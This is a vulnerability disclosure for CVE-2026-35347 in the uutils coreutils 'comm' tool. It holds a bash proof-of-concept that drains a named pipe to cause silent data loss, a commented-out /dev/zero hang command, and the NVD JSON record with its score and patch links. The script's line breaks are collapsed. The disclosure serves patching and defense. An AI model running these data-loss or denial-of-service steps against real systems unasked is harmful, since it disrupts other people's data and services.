CVE-2026-35347

#!/bin/bash # PoC for CVE-2026-35347: Data loss in uutils comm utility # Scenario 1: Data loss via FIFO (Named Pipe) # Create a named pipe PIPE_FILE=$(mktemp -u) mkfifo "$PIPE_FILE" # Write data to the pipe in background echo "SensitiveDataLine" > "$PIPE_FILE" & # Attempt to compare the pipe with a regular file using uutils comm # The 'are_files_identical' function will drain the pipe before comparison # resulting in 'SensitiveDataLine' being lost from the output. echo "ExpectedContent" > /tmp/regular_file echo "Running uutils comm on pipe..." # Replace 'comm' with the actual uutils comm binary path if needed uutils-comm "$PIPE_FILE" /tmp/regular_file cleanup rm -f "$PIPE_FILE" /tmp/regular_file # Scenario 2: Denial of Service via Infinite Stream # This command will cause the utility to hang indefinitely # uutils-comm /dev/zero /tmp/regular_file

{"cve": {"id": "CVE-2026-35347", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:36.903", "lastModified": "2026-04-27T12:28:23.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The comm utility in uutils coreutils incorrectly consumes data from non-regular file inputs before performing comparison operations. The are_files_identical function opens and reads from both input paths to compare content without first verifying if the paths refer to regular files. If an input path is a FIFO or a pipe, this pre-read operation drains the stream, leading to silent data loss before the actual comparison logic is executed. Additionally, the utility may hang indefinitely if it attempts to pre-read from infinite streams like /dev/zero."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.6.0", "matchCriteriaId": "87C33018-2E08-45B0-B69C-7FC224F7F883"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/9545", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/uutils/coreutils/pull/9545", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Patch"]}]}}